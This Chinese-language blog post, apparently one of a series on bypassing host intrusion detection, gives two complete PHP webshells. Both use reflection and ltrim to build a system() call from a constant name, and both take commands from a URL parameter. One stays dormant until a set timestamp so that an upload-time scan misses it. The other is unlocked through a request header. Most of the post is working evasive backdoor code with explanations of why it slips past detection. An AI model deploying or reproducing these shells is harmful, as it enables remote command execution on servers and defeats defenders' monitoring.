WEB安全--RCE--webshell HIDS bypass4

发布于:2025-05-28 ⋅ 阅读:(17) ⋅ 点赞:(0)

继WEB安全--RCE--webshell HIDS bypass3的补充:

十三、时间开关

webshell:

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{
 echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
foreach ($function->getParameters() as $param) {
 $da = new DateTime();
 echo $da->getTimestamp();
 echo 'Name: ' . $param->getName() . PHP_EOL;
 $n='F';
 if ($param->isOptional()) {
 if($da->getTimestamp()>=1725329100||$n='1'){
 echo $n;
 }
 echo 'Default value: ' . ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());
 }
 echo PHP_EOL;
}
?>

原理:

核心位置

$n='F' 
if($da->getTimestamp()>=1725329100||$n='1'){
 echo $n;
 }

或运算符“||”也叫短路运算符,当前者成立就不会再判断后者了

我们回过头来看$da->getTimestamp()>=1725329100||$n='1' ,当$da->getTimestamp()>=1725329100为假,$n='1'就会执行赋值的操作,这时$n的值就由'F'变为'1',但是当$da->getTimestamp()>=1725329100为真,那么就不会执行$n='1'的操作,$n='F'的值就不变了。

我们的核心思想是:在上传webshell给hids检测时$da->getTimestamp()>=1725329100这个条件是假的,当然就不会被查杀,但是过了一段时间这个条件就为真了,我们这个时候访问webshell就能执行命令了。

function foo($test, $bar = FSYSTEM)
{
 echo $test . $bar;
}
$function = new ReflectionFunction('foo');

创建一个函数传递内容,再用反射获取该函数

foreach ($function->getParameters() as $param) 

遍历取出内容

$param->getDefaultValueConstantName()

这里的参数为FSYSTEM

ltrim($param->getDefaultValueConstantName(),$n)

此时满足时间条件,$n='F',ltrim从参数的默认值常量名中去掉前导的$n,也就是说FSYSTEM会变成SYSTEM,就能构成命令执行

十四、随机开关

webshell:

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{
 echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
$p = new ParseError($_SERVER[HTTP_A]);
foreach ($function->getParameters() as $param) {
 $da = new DateTime();
 echo $da->getTimestamp();
 echo 'Name: ' . $param->getName() . PHP_EOL;
 $n='F';
 if ($param->isOptional()) {
 if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){
 echo $n;
 }
 echo 'Default value: ' . 
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());
 }
 echo PHP_EOL;
}
?>

原理:

大致原理和时间开关相同。

核心位置

$p = new ParseError($_SERVER[HTTP_A]);
$n='F';
if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){
 echo $n;
 }

$p->getMessage()??100:指如果前者有值就取前者,反之取后者的值

mt_rand(1,10):在1-10的闭区间随机取一个值

思考:如果在ParseError()中传入55,那么$p->getMessage()的值就是55,也就是说mt_rand(55,55) ==>55,if(55==55 || $n='1')第一个条件为真就不会进行$n='1'的操作,$n='F',就能截取FSYSTEM中的F了。


网站公告

今日签到

点亮在社区的每一天
去签到